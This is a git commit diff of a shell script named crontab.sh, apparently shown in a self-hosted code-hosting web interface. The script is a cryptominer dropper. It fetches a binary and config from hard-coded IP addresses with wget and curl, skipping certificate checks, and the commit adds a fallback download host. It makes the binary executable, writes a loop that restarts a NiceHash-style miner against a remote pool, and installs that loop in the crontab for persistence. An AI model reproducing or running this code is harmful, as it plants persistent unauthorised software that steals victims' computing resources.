asd 2 years ago
parent
commit
ccba75c6d8
  1. 16
      crontab.sh

16
crontab.sh

@ -11,18 +11,26 @@ if [ -w $path ]; then
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 2) m=$path/$(head /dev/urandom | tr -dc a-z | head -c 2)
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/x 2>/dev/null; then if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/x 2>/dev/null; then
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/x -o x curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/x -o x
if [ ! -f "$path/x" ]; then
if ! wget --no-verbose --no-check-certificate http://208.113.133.62/.test/x 2>/dev/null; then
curl -ks http://208.113.133.62/.test/x -o x
fi
fi
fi fi
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 2>/dev/null; then if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 2>/dev/null; then
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o 10 curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o 10
fi fi
if [ ! -f "$path/x" ]; then exit; fi if [ ! -f "$path/x" ]; then exit; fi
if [ ! -f "$path/10" ]; then exit; fi
chmod 777 x chmod 777 x
sed "s/BBBBBBB/$salt/" -i 10
log=$path/.log log=$path/.log
echo "#!/bin/bash" > $m echo "#!/bin/bash" > $m
echo "for i in \$(seq 1 120); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/x -c $path/10 -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m if [ ! -f "$path/10" ]; then
echo "for i in \$(seq 1 240); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/x --nicehash -o 208.113.133.62:443 --tls -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
else
sed "s/BBBBBBB/$salt/" -i 10
echo "for i in \$(seq 1 240); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/x -c $path/10 -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
fi
chmod 777 $m chmod 777 $m
(crontab -l; echo "*/30 * * * * $m") | crontab - (crontab -l; echo "*/60 * * * * $m") | crontab -
echo $salt echo $salt
fi fi

Loading…
Cancel
Save